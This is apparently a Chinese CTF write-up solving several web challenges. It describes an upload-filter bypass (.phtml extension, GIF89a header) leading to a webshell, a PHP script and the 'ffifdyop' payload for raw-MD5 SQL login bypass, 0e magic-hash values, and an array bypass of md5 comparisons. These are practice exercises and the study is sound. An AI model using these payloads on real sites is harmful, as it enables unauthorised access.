[HCTF 2018]admin
进了Login界面就有了
[极客大挑战 2019]Upload
一步步推测:当上传一个php文件时,返回
通过修改文件类型 image/gif,返回
因此可以推断,修改文件类型绕过了第一层WAF,第二层WAF应该是基于文件后缀名来判断的。
逐个尝试可以使用的后缀名,发现.phtml后缀名是可以使用的,出现了第三层WAF。
推断这个是检查文件头,加上GIF89a绕过。
最终发现是上传成功的了,接下来就是修改一下文件加入马了。
蚁剑一下就有了
[极客大挑战 2019]BuyFlag
cookie改成1,然后是弱类型比较以及数字绕过
[BJDCTF2020]Easy MD5
第一关
包里有hint:
看下MD5的用法:
md5(string,row)
参数 | 描述 |
string | 必须,规定要计算的字符串 |
raw | 可选,规定十六进制或二进制输出格式。 – TRUE – 原始 16字符二进制格式 – FALSE -默认 32字符十六进制数 |
构造需求:
- 需要构造的值a,经过md5后生成16字符二进制的数值。
xxxxxxxxxxxxxxxx
- 该十六字符二进制的数值转成十六进制
xxxxxx
- 十六进制转换为字符串,当满足以下格式:
'or'xxxx
拼接后的SQL语句
select * from `admin` where password=''or'xxxx'
在SQL中,当字符串的开头为非0数字时,会被当做整型进行解析,即构造一句万能钥匙。
这里用到的exp为
<?php
echo (md5("ffifdyop", true));
for ($i = 0;;) {
for ($c = 0; $c < 1000000; $c++, $i++)
if (stripos(md5($i, true), '\'or\'') !== false)
echo "\nmd5($i) = " . md5($i, true) . "\n";
echo ".";
}
?>
当payload为ffifdyop
时,满足条件,此时的字符串为'or'6<trash>
。<trash>为不可打印字符简写,提交后通关
第二关
源码有代码
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
赵师傅又要女朋友了。这题是MD5函数漏洞,随便找两个MD5加密后开头为0e的字符串就可以了。
?a=QNKCDZO&b=s878926199a
第三关
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
数组绕过
param1[]=1¶m2[]=2